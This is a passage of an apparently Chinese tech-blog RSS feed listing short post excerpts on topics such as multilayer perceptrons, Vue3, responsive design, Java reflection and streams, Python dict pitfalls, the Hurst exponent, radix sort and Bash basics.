      <description>机器学习基础篇（十二）——多层感知机 一、概述 多层感知机（MLP：Multi-Layer Perceptron）由感知机(PLA: Perceptron Learning Algorithm)推广而来。它最主要的特点是有多个神经元层，因此也叫深度神经网络(DNN: Deep Neural Networks)。&#xA;感知机是单个神经元模型，是较大神经网络的前身。神经网络的强大之处在于它们能够学习训练数据中的表示，以及如何将其与想要预测的输出变量联系起来。从数学上讲，它们能够学习任何映射函数，并且已经被证明是一种通用的近似算法。&#xA;神经网络的预测能力来自网络的分层或多层结构。而多层感知机是指具有至少三层节点，输入层，一些中间层和输出层的神经网络。给定层中的每个节点都连接到相邻层中的每个节点。输入层接收数据，中间层计算数据，输出层输出结果。&#xA;下面让我们来简单的看一下多层感知机的推导过程吧。&#xA;二、多层感知机的定义 首先我们先看一下感知机（PLA）是什么? 如图所示，感知机只有输入和输出层，这两层共同组成了一个简单的神经元。首先加权输入信号，然后使用激活功能，最终产生输出信号。&#xA;ω将输入的变量映射到了一个新的维度空间中，b的存在使得映射后的数据具有平移能力。（称为偏置量）&#xA;3.显然，PLA是一个线性的二分类器，但它对非线性的数据并不能进行有效的分类。因此我们可以加深这个神经元的网络层次，理论上来说，多层网络可以模拟任何复杂的函数。当我们加深到很多层的时候，我们就得到了一个多层感知机（MLP）。我们将第一层称之为输入层，最后一层称之有输出层，中间的层称之为隐层。MLP并没有限定隐层的数量，对于输出层神经元的个数也没有限制，所以我们可以根据各自的需求选择合适的隐层层数。 举个栗子：我们在输入层输入三个变量[x1,x2,x3]以及一个偏置量b，偏置量的作用是给网络分类增加平移的功能。 然后我们设置隐层为1层，输出神经元个数为3个。可以得到如下的神经网络结构：&#xA;三、节点 每层的神经元被称为节点，那么针对于一个多层感知机，我们应该如何选择层数和隐层节点数呢？&#xA;通常情况下，我们只需要一个隐层，就可以模拟任何我们想要的函数。所以，大多情况下我们使用一个三层的感知机即可（包含输入层，一个隐层，一个输出层）。&#xA;那么，节点又该怎么选择呢？&#xA;如果隐层节点过少，网络结构简单，学习能力不够。如果隐层节点过多，不仅会大大增加网络结构的复杂性，而且学习过程中更易陷入局部极小点，学习速度会变得很慢。&#xA;我们一般有以下几种方法来选择隐层的节点数：&#xA;m:隐层节点数n:输入层节点数I:输入层节点数α：1-10之间的整数 我们一般可以使用以下几个公式来选择节点数（当然也可以自己选择）&#xA;对于每个隐层的节点，我们都将会使用激活函数激活此节点。&#xA;通常情况下，节点根据前一层节点的加权总和来激活，即每个连接点的权重乘以该节点的激活函数的总和。&#xA;每个节点仅从前一层获取输入值，因此权重是同一层中节点的唯一区分依据。&#xA;常见的激活函数有：sigmoid函数，tanh函数&#xA;sigmoid函数：&#xA;tanh函数&#xA;四、反向传播 在训练神经网络时，我们预期的输出是输出层中每个节点的激活级别。根据实际激活情况，我们可以找到每个节点的cost（损失成本）。并根据损失成本的不同，相应地调整权重。&#xA;反向传播的算法就是根据每个节点的损失成本调整确定每个节点激活的权重。简单来说，在上文中，我们已经了解了如何选择隐层数目和节点数目的相关知识了。那么问题来了，我们应该如何去选择每个节点的权重呢？&#xA;这就要用到我们所说的反向传播算法了。&#xA;首先可以定义一个损失函数。（损失函数的相关知识见第一节相关知识）然后我们可以计算出每个节点的损失函数（该函数与该点的权重以及偏置量b有关）。选择合适的权重值以及偏置量b，使得损失函数达到最小值。具体的数学知识不再赘述请看下面这张截图，来自tensorflow测试站点。这里正在训练一个神经网络来对蓝色和橙色点进行分类。这里对节点所做的选择是任意的，读者可以做不同的尝试&#xA;讨论反向传播，让我们考虑一下这个网络第一步将做什么。它将在网络中测试一些训练数据，期望在(隐藏的)正确输出节点上看到完全激活，而在错误输出节点上没有激活。当模型不正确时，它将从输出层向后查看，发现错误。然后，它会相应地改变权重，所以离得远的权重会比离得近的权重变化更大。在这些前期步骤中，它将具有较高的学习率，这使权重不稳定。经过几次迭代之后，权重会更加稳定。记住这一点，让我们向前跳一步。&#xA;现在，网络对如何分类数据有一个模糊的概念。它有一个大致的圆圈，随着步骤的继续，分类会变得更加清晰。让我们再向前跳几步&#xA;如你所见，该模型已经开发出了更好的性能，可以准确地对大多数点进行分类。在这一点上，网络减慢了学习速度，因为它经过了足够多的迭代才取得了现在的精确度。 五、小结 在本节中，我们了解了多层感知机（MLP）神经网络以及其他神经网络的相关知识。我们了解了节点是什么，掌握了节点的计算方法。最后我们立即饿了反向传播的含义，知道了如何去选择节点的权重。&#xA;自学自用，希望可以和大家积极沟通交流，小伙伴们加油鸭。创作不易，动起可爱的双手，来个赞再走呗 (๑◕ܫ￩๑)</description>
    </item>
    <item>
      <title>VUE3（七）vue项目抽离.vue文件中的js、css代码</title>
      <link>https://bchobby.github.io/posts/995f6b27f3f23e3107f0205e8d4298d3/</link>
      <pubDate>Fri, 26 Feb 2021 10:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/995f6b27f3f23e3107f0205e8d4298d3/</guid>
      <description>平常再做开发的时候，一般情况下不会将html，js，css代码写到一个文件中。&#xA;基本上都会写在各自对应的文件中，然后再引入即可。&#xA;那么在VUE中我们如何抽离vue文件中的js，与css代码呢？&#xA;1：抽离javascript Home.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div :style=&#34;{ padding: &#39;24px&#39;, background: &#39;#fff&#39;, minHeight: &#39;360px&#39; }&#34;&amp;gt; &amp;lt;h1&amp;gt;This is a home page&amp;lt;/h1&amp;gt; &amp;lt;HelloWorld msg=&#34;Hello Vue 3.0 + Vite&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34;&amp;gt; import { defineComponent } from &#34;vue&#34;; // 引入js文件 import home from &#39;/@/assets/js/admin/home&#39;; // 使用js对象 export default defineComponent({ ...home, }); &amp;lt;/script&amp;gt; Home.ts&#xA;import { defineComponent } from &#34;vue&#34;; import HelloWorld from &#34;/@/components/HelloWorld.vue&#34;; export default defineComponent({ name: &#34;Home&#34;, components: { HelloWorld, }, }); 2：抽离css Admin.</description>
    </item>
    <item>
      <title>前端基础知识概述 -- 移动端开发的屏幕、图像、字体与布局的兼容适配</title>
      <link>https://bchobby.github.io/posts/83e0c481161b40cfbde905a7a99ed9f3/</link>
      <pubDate>Fri, 26 Feb 2021 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83e0c481161b40cfbde905a7a99ed9f3/</guid>
      <description>本文是内部的一次分享沉淀，偏向基础但是涉及了一些有意思的细节，文笔有限，才疏学浅，文中若有不正之处，万望告知。&#xA;前端的一大工作内容就是去兼容页面在不同内核的浏览器，不同的设备，不同的分辨率下的行为，使页面的能正常工作在各种各样的宿主环境当中。&#xA;而本文的主题 -- 移动端开发的兼容适配与性能优化，就是希望能从一些常见的移动端开发问题出发，厘清 Web 移动端开发的前前后后，一些技术的发展过程，一些问题的优化手段以及给出一些常见的兼容性问题的解决方案。&#xA;什么是响应式设计 首先先聊聊响应式设计，这个与移动端开发有着密切的联系。&#xA;响应式设计即是 RWD，Responsive Web Design。&#xA;这里百度或者谷歌一下会有各种各样的答案。这里一段摘自知乎上我觉得很棒的一个答案：什么是响应式布局设计？[1]&#xA;根据维基百科及其参考文献，理论上，响应式界面能够适应不同的设备。描述响应式界面最著名的一句话就是“Content is like water”，翻译成中文便是“如果将屏幕看作容器，那么内容就像水一样”。&#xA;为什么要设计响应式界面 为什么要费神地尝试统一所有设备呢？&#xA;即便是 PC 或 Mac 用户，有数据显示只有一半的人会将浏览器全屏显示，而剩下的一般人使用多大的浏览器，很难预知；&#xA;台式机、投影、电视、笔记本、手机、平板、手表、VR……智能设备正在不断增加，“主流设备”的概念正在消失；&#xA;屏幕分辨率正飞速发展，同一张图片在不同设备上看起来，大小可能天差地别；&#xA;鼠标、触屏、笔、摄像头手势……不可预期的操控方式正在不断出现。&#xA;响应式界面的四个层次 同一页面在不同大小和比例上看起来都应该是舒适的；&#xA;同一页面在不同分辨率上看起来都应该是合理;&#xA;同一页面在不同操作方式（如鼠标和触屏）下，体验应该是统一的；&#xA;同一页面在不同类型的设备（手机、平板、电脑）上，交互方式应该是符合习惯的。&#xA;响应式界面的基本规则 可伸缩的内容区块：内容区块的在一定程度上能够自动调整，以确保填满整个页面&#xA;可自由排布的内容区块：当页面尺寸变动较大时，能够减少/增加排布的列数&#xA;适应页面尺寸的边距：到页面尺寸发生更大变化时，区块的边距也应该变化&#xA;能够适应比例变化的图片：对于常见的宽度调整，图片在隐去两侧部分时，依旧保持美观可用&#xA;能够自动隐藏/部分显示的内容：如在电脑上显示的的大段描述文本，在手机上就只能少量显示或全部隐藏&#xA;能自动折叠的导航和菜单：展开还是收起，应该根据页面尺寸来判断&#xA;放弃使用像素作为尺寸单位：用dp(对于前端来说，这里可能是rem)尺寸等方法来确保页面在分辨率相差很大的设备上，看起来也能保持一致。同时也要求提供的图片应该比预想的更大，才能适应高分辨率的屏幕&#xA;上面一段我觉得已经涵盖了响应式设计的绝大部分，简单总结起来，可以概括为：&#xA;媒体查询，边界断点的规则设定（Media queries &amp;amp;&amp;amp; break point）&#xA;内容的可伸缩性效果（Flexibel visuals）&#xA;流式网格布局(Fluid grids)&#xA;主要内容呈现及图片的高质量(Main content and high quality)&#xA;响应式 vs. 自适应 响应式设计是 Responsive Web Design（RWD），自适应设计是 Adaptive Web Design（AWD）。经常有人会将两者混为一谈，或者其实根本也区分不了所谓的响应式与自适应。&#xA;其实在我写这篇文章的时候，我也无法很好的去区分两者。&#xA;RWD 和 AWD 两者都是为了适配各种不同的移动设备，致力于提升用户体验所产生的的技术。核心思想是用技术来使网页适应从小到大（现在到超大）的不同分辨率的屏幕。通常认为，RWD 是 AWD 的子集。</description>
    </item>
    <item>
      <title>java中invoke方法三个参数_java method.invoke通过反射调用可变参数个数的方法</title>
      <link>https://bchobby.github.io/posts/b4eb9434e8f27c9f4404d5a21b0a3410/</link>
      <pubDate>Fri, 26 Feb 2021 08:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4eb9434e8f27c9f4404d5a21b0a3410/</guid>
      <description>public class Reflect {&#xA;public static void main(String[] args) throws Exception {&#xA;Class&amp;gt; clazz = Single.class;&#xA;Single single = (Single) clazz.newInstance();&#xA;List list = new ArrayList(){&#xA;private static final long serialVersionUID = 1L;&#xA;{&#xA;add(&#34;fuck&#34;);&#xA;add(&#34;ni&#34;);&#xA;add(&#34;mei&#34;);&#xA;}&#xA;};&#xA;//获取method两种方式， 在method中 数组的的空间大小是可以随便写的不一定使用0&#xA;/* 1 */&#xA;Method method = clazz.getDeclaredMethod(&#34;method&#34;, Array.newInstance(Object.class, 0).getClass());&#xA;/* 2 */&#xA;method = clazz.getDeclaredMethod(&#34;method&#34;, (new Object[0]).getClass());&#xA;//初始化参数&#xA;/* 1 */&#xA;Object objs = Array.newInstance(Object.class, 2);&#xA;Array.set(objs, 0, list);</description>
    </item>
    <item>
      <title>Git log基本使用方法</title>
      <link>https://bchobby.github.io/posts/8ea42513669047dc9867ebeb85b9e92e/</link>
      <pubDate>Fri, 26 Feb 2021 00:14:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ea42513669047dc9867ebeb85b9e92e/</guid>
      <description> </description>
    </item>
    <item>
      <title>【Django】在订单跳转到支付宝支付页面时会出现的错误</title>
      <link>https://bchobby.github.io/posts/b2232e43d57ed43794013cd38213fb3f/</link>
      <pubDate>Thu, 25 Feb 2021 22:28:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2232e43d57ed43794013cd38213fb3f/</guid>
      <description>写在前面： 由于CSDN的审查机制的原因，更多博客内容请访问我的个人博客或GitHub：&#xA;个人博客地址：个人博客GitHub地址：GitHub 错误一：type error: quote_from_bytes() expected bytes 解决方案：&#xA;错误二：invalid-signature 错误原因: 验签出错，建议检查签名字符串或签名私钥与应用公钥是否匹配 解决方案：在确定代码中添加的公钥是支付宝的公钥而不是应用的公钥，私钥是应用的私钥，如果发现不是这个错误则判断以下代码是否书写错误</description>
    </item>
    <item>
      <title>python 关于字典dict的fromkeys方法的巨坑，真的只有踩过之后才知道</title>
      <link>https://bchobby.github.io/posts/bf5b551128b807a2f591c2fa2f2e5c22/</link>
      <pubDate>Thu, 25 Feb 2021 17:45:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf5b551128b807a2f591c2fa2f2e5c22/</guid>
      <description>python 关于字典dict的fromkeys方法的巨坑，真的只有踩过之后才知道 1. 踩坑重现（错误示范）1.1 通过fromkeys初始化一个空的字典1.2 修改某一键下的值 2. 初始化字典的正确方法 本文试验的python版本为3.6.2，先来看下python3.6官方文档上对fromkeys的描述，极其简单：&#xA;看似简单方便，实则很坑！&#xA;在某些场景下，需要初始化一个字典，键是确定的，但是值是需要等待去填充或修改的，正好字典自带的fromkeys方法似乎刚好可以做到这个事情，并可以初始化所有键的值。&#xA;但是fromkeys有一个巨坑，真的只有踩过之后才知道，请耐心往下看&#xA;首先先看下这个坑是怎么产生以及如何坑人的。&#xA;1. 踩坑重现（错误示范） 1.1 通过fromkeys初始化一个空的字典 d = dict.fromkeys([&#39;a&#39;, &#39;b&#39;, &#39;c&#39;], {&#39;score&#39;:0, &#39;type&#39;: []}) print(d) 初始化字典如下：&#xA;{ &#39;a&#39;: {&#39;score&#39;: 0, &#39;type&#39;: []}, &#39;b&#39;: {&#39;score&#39;: 0, &#39;type&#39;: []}, &#39;c&#39;: {&#39;score&#39;: 0, &#39;type&#39;: []} } 1.2 修改某一键下的值 d[&#39;a&#39;][&#39;score&#39;] = 3 d[&#39;b&#39;][&#39;type&#39;].append(&#39;type b&#39;) print(d) { &#39;a&#39;: {&#39;score&#39;: 3, &#39;type&#39;: [&#39;type b&#39;]}, &#39;b&#39;: {&#39;score&#39;: 3, &#39;type&#39;: [&#39;type b&#39;]}, &#39;c&#39;: {&#39;score&#39;: 3, &#39;type&#39;: [&#39;type b&#39;]} } 发现没有！通过fromkeys创建的初始字典，当修改某一键下的值时，所有的值都会随之修改！</description>
    </item>
    <item>
      <title>java循环交叉_交叉两个不同对象类型的集合java 8</title>
      <link>https://bchobby.github.io/posts/961d5447ff627d03e57452e15f31f2e4/</link>
      <pubDate>Thu, 25 Feb 2021 16:37:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/961d5447ff627d03e57452e15f31f2e4/</guid>
      <description>直接等效于嵌套循环&#xA;List result = listOne.stream()&#xA;.flatMap(one -&amp;gt; listTwo.stream()&#xA;.filter(two -&amp;gt; one.getMyFirstProperty().equals(two.getMyOtherProperty()))&#xA;.map(two -&amp;gt; new RootSampleClass(one, two)))&#xA;.collect(Collectors.toList());&#xA;重点是直接等效,其中包括做n×m操作的不良表现.&#xA;更好的解决方案是将其中一个列表转换为支持有效查找的数据结构,例如,哈希映射.此考虑因素与您使用的API的问题无关.既然您要求Stream API,您可以这样做：&#xA;Map&amp;gt; tmp=listOne.stream()&#xA;.collect(Collectors.groupingBy(SampleClassOne::getMyFirstProperty));&#xA;List result = listTwo.stream()&#xA;.flatMap(two -&amp;gt; tmp.getOrDefault(two.getMyOtherProperty(), Collections.emptyList())&#xA;.stream().map(one -&amp;gt; new RootSampleClass(one, two)))&#xA;.collect(Collectors.toList());&#xA;请注意,两种解决方案都会创建所有可能的配对,以便在一个或两个列表中多次出现属性值.如果属性值在每个列表中都是唯一的,例如ID,则可以使用以下解决方案：&#xA;Map tmp=listOne.stream()&#xA;.collect(Collectors.toMap(SampleClassOne::getMyFirstProperty, Function.identity()));&#xA;List result = listTwo.stream()&#xA;.flatMap(two -&amp;gt; Optional.ofNullable(tmp.get(two.getMyOtherProperty()))&#xA;.map(one -&amp;gt; Stream.of(new RootSampleClass(one, two))).orElse(null))&#xA;.collect(Collectors.toList());&#xA;如果您不介意可能执行双重查找,则可以使用以下更易读的代码替换最后一个解决方案：&#xA;Map tmp=listOne.stream()&#xA;.collect(Collectors.toMap(SampleClassOne::getMyFirstProperty, Function.identity()));&#xA;List result = listTwo.stream()&#xA;.filter(two -&amp;gt; tmp.containsKey(two.getMyOtherProperty()))&#xA;.map(two -&amp;gt; new RootSampleClass(tmp.</description>
    </item>
    <item>
      <title>时间序列的特征工程——针对Hurst指数的Python计算</title>
      <link>https://bchobby.github.io/posts/e1c4a16836d1733b2735922e88469e19/</link>
      <pubDate>Thu, 25 Feb 2021 16:29:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c4a16836d1733b2735922e88469e19/</guid>
      <description>时间序列的特征工程——针对Hurst指数的Python计算(附Github代码) Github地址：Hurst指数计算Python脚本&#xA;最近两天为了整一个Hurst指数的计算翻了不少资料，百度到好多代码算出来结果不是大于1就是为负数，遂硬着头皮自己重造了个轮子，分享之。&#xA;以下为一些简单的科普，不明白的小伙伴可以百度Hurst了解这是什么玩意儿。&#xA;·什么是Hurst指数？&#xA;赫斯特指数(Hurst Exponent)是用来衡量时间序列是否有长期记忆的一个指标，这一指标最初由英国水利学家Harold Edwin Hurst提出，也以他的名字命名。哈罗德最初提出这个指数是为了研究尼罗河发洪水和干旱的时间序列规律从而决定最优的大坝尺寸，然而金融界人士却发现这个指数对于金融市场也有作用，被广泛用于资本市场的混沌分形分析。&#xA;Hurst指数&amp;gt; 0.5，序列具有长期记忆性，未来的增量和过去的增量相关，继续保持现有趋势的可能性强。&#xA;Hurst 指数&amp;lt; 0.5，很有可能是记忆的转弱，趋势结束和反转的开始(mean reversion)。&#xA;Hurst指数= 0.5，序列接近随机游走(Random Walk)，无定向运动。&#xA;·参考文献&#xA;1.叶中行, 曹奕剑. Hurst指数在股票市场有效性分析中的应用[J]. 系统工程, 2001, 3(19): 21-24&#xA;2.Hurst exponent - Wikipedia</description>
    </item>
    <item>
      <title>SigFit—光—机—热耦合分析软件</title>
      <link>https://bchobby.github.io/posts/b8779ef190522e434d552e7d1783dd1d/</link>
      <pubDate>Thu, 25 Feb 2021 11:46:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8779ef190522e434d552e7d1783dd1d/</guid>
      <description>美国Sigmadyne公司的SigFit软件是光机热耦合分析工具，可以将有限元分析得到的光学表面变形等结果文件通过多项式拟合或插值转化为Zemax/CodeV等光学分析软件的输入文件，还可实现动态响应分析、光程差分析、设计优化和主动控制光学系统的促动器布局及优化等。SigFit帮助用户解决了不同学科间的数据传递难题，缩短了研发周期，节省了研发成本，有效提升了光学设计仿真精度，一定程度上提高了光机产品的成像质量与环境适应性。目前，SigFit已广泛应用于成像光学镜头、光学传感器、激光通信、显微光刻等产品的研发。&#xA;经纬恒润针对客户需求，提供了成熟的光—机—热集成分析与优化设计解决方案，基于多学科集成与设计优化的思路，实现设计光、机械、电、热等跨学科综合系统的自动化仿真与设计优化。&#xA;产品介绍&#xA;• 基本功能&#xA;♦ 面型拟合：&#xA;将热与机械分析得到的温度、应力及面形变化等分析结果导入SigFit，通过多项式拟合或插值，转换为光学分析软件可以读取的格式，直接在光学分析软件中考虑系统受到外界热、机械作用后的光学性能变化。&#xA;多项式拟合：将多种输入格式的数据拟合为多项式，拟合类型包括标准和边缘Zernike多项式、非球面多项式、XY多项式等九种格式；&#xA;表面变形插值：将光学测试的试验数据或有限元仿真的网格数据插值为一个数组或者另一种网格结果，以用于仿真预测结果与光学测试结果的对比，或用于拟合 Zernike多项式无法准确描述的光学表面变形。&#xA;该模块可以很好地解决光学成像镜头组在不同学科间数据传递的难题。&#xA;• 高级功能&#xA;♦ 主动控制：&#xA;分析光学面形RMS值随激励源数目的变化关系，分析如何布置激励源使光学表面RMS值更小，为施加激励源的位置和大小提供参考；根据一定约束自动优化、计算施加激励源的位置。&#xA;该模块用于主动控制 / 自适应光学系统的设计过程。&#xA;♦ 动态响应：&#xA;基于有限元固有频率分析结果、通过用户在SigFit中指定的激励载荷和阻尼等计算面形由于谐波振动 / 随机振动 / 瞬态载荷引起的刚体位移、曲率变化、RMS误差、传递函数变化、LOS晃动及各阶模态对RMS的影响等。&#xA;该模块可帮助用户将机械振动与光学性能分析指标联系起来，对于光学透镜组有重要的意义，可预测不同工况下对光学成像镜头组成像影响较大的模态，为设计提供参考，有效提升光机系统环境适应性。&#xA;♦ 设计优化：&#xA;将光学表面的Zernike系数、面形RMS值、PV值等参数转变为Nastran格式的方程，利用Nastran的优化求解器对光学表面的面型、支撑结构、材料参数等进行优化，获得更佳的光学系统设计方案。&#xA;该模块使得用户可以在考虑光学性能的前提下调用Nastran求解器进行优化，对于光学成像镜头组，可实现系统的多学科综合优化，能有效提升产品综合性能。&#xA;♦ 光程差分析：&#xA;包括热光分析，应力光学分析及气动光学分析三大类。利用有限元分析 / 流体分析得到的应力、温度分析结果 / 流体的密度分析结果，根据温度、应力、密度与折射率之间的关系，计算得到对应的光程差及双折射等光学特性。&#xA;该模块提供了热光分析、应力光学分析、气动光学分析的实现途径，在设计阶段对热、应力、气体密度通过影响光学系统的折射率对光学性能带来的影响进行分析，对于光学成像镜头组有重要的意义。&#xA;拓展&#xA;针对现有的研发流程和设计方法以无满足应未来快速的竞争要求的问题，借鉴计算机辅助优化（CAO, Computer Aided Optimization）的设计思想，引入多学科集成优化设计平台Optimus，提升光机系统研发能力，固化光机系统设计流程。&#xA;Optimus能够进行光机系统的光、机、热子学科仿真分析、各子学科之间集成分析、权衡各学科设计指标要求的优化设计、多学科仿真分析及优化设计自动化。</description>
    </item>
    <item>
      <title>java写出 基数_在任何基数（基数）中排序整数</title>
      <link>https://bchobby.github.io/posts/9c240e39667065b1ec1eb91079947ada/</link>
      <pubDate>Thu, 25 Feb 2021 09:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c240e39667065b1ec1eb91079947ada/</guid>
      <description>我应该在C中编写一个算法，它在任何基数(基数)中取一个整数数组，并使用Radix Sort将它们按升序排列 . 我的算法不能对数组的长度，位数和基数施加任何限制 . 当我说整数时，我并不是说我总是会收到一个 int 的数组，它可以是一个 long int ， char ， char 指针等数组 .&#xA;看来，我虽然处理对我的算法施加尽可能少的限制的最佳方法是通过访问它的位置来处理向量并将类型转换为 long unsigned int ，因此这种方法的局限性在于用户必须使用符合代码编译的编码选项的数字&#34;weight&#34;，即ASCII编码 x 十进制基数为120且 a 为97，所以如果给定的基数使用数字 x 和 a ， x 必须更大比 a .&#xA;这是我的算法：&#xA;/*!&#xA;* @function radixSort&#xA;* @abstract Sort a vector using Radix Sort.&#xA;* @discussion This function take a vector of positive&#xA;* integers in any base (radix) and sorts&#xA;* it in ascending order using the Radix</description>
    </item>
    <item>
      <title>java 自定义表达式_表达式语言(含自定义)</title>
      <link>https://bchobby.github.io/posts/0b0f10c96fffe8b14d0350f7308d5fce/</link>
      <pubDate>Thu, 25 Feb 2021 02:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b0f10c96fffe8b14d0350f7308d5fce/</guid>
      <description>2. 表达式语言的内置对象&#xA;使用表达式语言可以直接获取请求参数，可获取页面中某个JavaBean的属性值，获取请求头及获取session属性值等，这些都得益于表达式语言的内置对象。&#xA;表达式语言包含如下11 个内置对象。&#xA;pageContext:代表该页面的 pageContext对象，与 JSP 的 pageContext 内置对象相同。&#xA;pageScope: 用于获取 page 范围的属性值。&#xA;requestScope: 用于获取 request 范围的属性值。&#xA;sessionScope: 用于获取 session 范围的属性值。&#xA;applicationScope: 用于获取 application 范围的属性值。&#xA;p缸am: 用于获取请求的参数值。&#xA;paramValues: 用于获取请求的参数值，与param 的区别在于，该对象用于获取属性值为数组的属性值。&#xA;header: 用于获取请求头的属性值。&#xA;headerValues: 用于获取请求头的属性值，与 header 的区别在于，该对象用于获&#xA;取属性值为数组的属性值。&#xA;initParam: 用于获取请求 Web 应用的初始化参数。&#xA;cookie: 用于获取应用的 Cookie 值。&#xA;看下面的 JSP 页面代码:&#xA;〈 contentType=&#34;text/html;charset=gb23l2&#34;%〉&#xA;表达式语言-内置对象&#xA;表达式语言&#34;内置对象&#xA;请输入你的名字:&#xA;\${initParam[&#34;author&#34;]}&#xA;丰{initParam[&#34;author&#34;] }&#xA;reverse&#xA;java.&#xA;lang.String reverse( java.lang.String )&#xA;countChar&#xA;〈 prefix=&#34;my&#34; uri=&#34;/tags/mytag&#34;在〉&#xA;表达式语言-自定义函数</description>
    </item>
    <item>
      <title>python之git----- GitHub</title>
      <link>https://bchobby.github.io/posts/34e6da01ffa2cbe469139120ec869475/</link>
      <pubDate>Thu, 25 Feb 2021 01:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34e6da01ffa2cbe469139120ec869475/</guid>
      <description>python之git----- GitHub 一：github原文链接&#xA;https://guides.github.com/activities/hello-world/&#xA;二：What is GitHub?&#xA;GitHub 是一个版本控制和协作的代码托管平台&#xA;1，创建仓库&#xA;仓库通常是用来组织一个项目的。仓库可以存放文件夹、文件、图片、视频、电子表格还有数据集 —— 任何你的项目需要的内容&#xA;a&amp;gt;在页面的右上角，点击头像隔壁的“+”号，选择 New repository&#xA;b&amp;gt;将你的仓库命名为 hello-world&#xA;c&amp;gt; 为该项目写上一段简短的描述&#xA;d&amp;gt;勾选 Initialize this repository with a README（为该仓库初始化一个 README 文件）&#xA;e&amp;gt;最后点击 Create repository&#xA;2,创建分支&#xA;通过分支的方式，允许你在同一时间对仓库不同版本的内容进行操作;建立不同的分支进行测试和编辑，完善以后再提交至 master；master 建立一个分支时，你拷贝的是当时 master 分支里的内容。&#xA;master 分支:主分支&#xA;a&amp;gt; 来到你的新仓库 hello-world 中&#xA;b&amp;gt;点击那个叫做 main: 下拉按钮 输入readme-edits&#xA;c&amp;gt;单击 Create branch 或直接回车键走起&#xA;现在你拥有了两个分支：master 和 readme-edits&#xA;3,提交修改&#xA;位于 readme-edits 分支的代码视图,它是拷贝自 master 分支的&#xA;GitHub 上，保存修改被称为提交（commits）。每次提交都有一个关联的提交信息，用于描述你做所的修改。&#xA;a&amp;gt;点击 README.md 文件&#xA;b&amp;gt;点击文件视图右上角的铅笔图标进行编辑&#xA;c&amp;gt; 在编辑框中，随便写一些东西</description>
    </item>
    <item>
      <title>UVA1326 Jurassic Remains</title>
      <link>https://bchobby.github.io/posts/89e7f6e1d66f9285301ebad8883f9c34/</link>
      <pubDate>Wed, 24 Feb 2021 22:53:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e7f6e1d66f9285301ebad8883f9c34/</guid>
      <description>UVA1326 Jurassic Remains 知识点：集合的整数表示 + 折半枚举 +异或 一.题意 选择最多的串，使得这些串中出现的每一位大写字母都是出现了偶数次，并且输出串的个数，和按照升序说出选择了哪几个串&#xA;二.题解 把二进制上的每一位当作是一个大写字母(A-&amp;gt;1,B-&amp;gt;2,C-&amp;gt;4……)，然后通过异或来判断出现的次数是奇次还是偶次，并且通过折半枚举，将n分成两半来枚举&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;set&amp;gt; #include&amp;lt;map&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; typedef long long ll; int n,a[30]; map &amp;lt;int,int&amp;gt; table; int bitcount(int x){&#x9;//求x对应二进制中1的个数 return (x == 0 ? 0 : (x &amp;amp; 1) + bitcount(x&amp;gt;&amp;gt;1)); } int main(){ while(cin&amp;gt;&amp;gt;n){ string s; for(int i = 0; i &amp;lt; n; i++){ cin&amp;gt;&amp;gt;s; a[i] = 0; for(int j = 0; j &amp;lt; s.</description>
    </item>
    <item>
      <title>linux Shell学习（二）Bash的基本功能1</title>
      <link>https://bchobby.github.io/posts/ec10b17c3fa9397633d5093069d3e5c7/</link>
      <pubDate>Wed, 24 Feb 2021 22:32:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec10b17c3fa9397633d5093069d3e5c7/</guid>
      <description>文章目录 历史命令与命令补全命令别名与常用快捷键输入输出重定向 历史命令与命令补全 1、历史命令&#xA;用法：[root@localhost ~]# history [选项] [历史命令保存文件]&#xA;选项：&#xA;-c：清空历史命令&#xA;-w：把缓存中的历史命令写入历史命令保存文件（~/.bash_history）&#xA;注意：&#xA;历史命令默认会保存1000 条,可以在环境变量配置文件/etc/profile中进行修改&#xA;历史命令的调用：&#xA;使用上、下箭头调用以前的历史命令使用!n重复执行第n 条历史命令（命令的序号n可以用history查看到）使用!!重复执行上一条命令使用!字串重复执行最后一条以该字串开头的命令 2、命令补全&#xA;在Bash 中，命令与文件补全是非常方便与常用的功能，我们只要在输入命令或文件时，按&#xA;Tab键就会自动进行补全。&#xA;在有多个符合的前缀的时候，快速摁两次tab可以显示所有选项。&#xA;命令别名与常用快捷键 1、命令别名&#xA;用法：[root@localhost ~]# alias 别名=&#39;原命令&#39; #设定命令别名&#xA;[root@localhost ~]# alias #查询命令别名&#xA;命令执行时顺序&#xA;第一顺位执行用绝对路径或相对路径执行的命令。第二顺位执行别名。第三顺位执行Bash 的内部命令。第四顺位执行按照$PATH 环境变量定义的目录查找顺序找到的第一个命令。 永久修改别名&#xA;[root@localhost ~]# vi /root/.bashrc&#xA;删除别名&#xA;[root@localhost ~]# unalias 别名&#xA;2、Bash常用快捷键&#xA;常用：&#xA;ctrl + U：清楚光标前的所有命令&#xA;ctrl + R：在历史命令中搜索（快捷调用之前输入的长命令）&#xA;输入输出重定向 1、标准输入输出&#xA;2、输出重定向&#xA;用的较多的是命令 &amp;amp;&amp;gt;&amp;gt;文件以追加的方式，将正确和错误输出就保存到文件中；&#xA;ls &amp;amp;&amp;gt;&amp;gt; log&#xA;注意错误输出中，错误命令 2和&amp;gt;&amp;gt;之间不能有空格&#xA;lst 2&amp;gt;&amp;gt; error.log（2和&amp;gt;&amp;gt;之间不能有空格）</description>
    </item>
    <item>
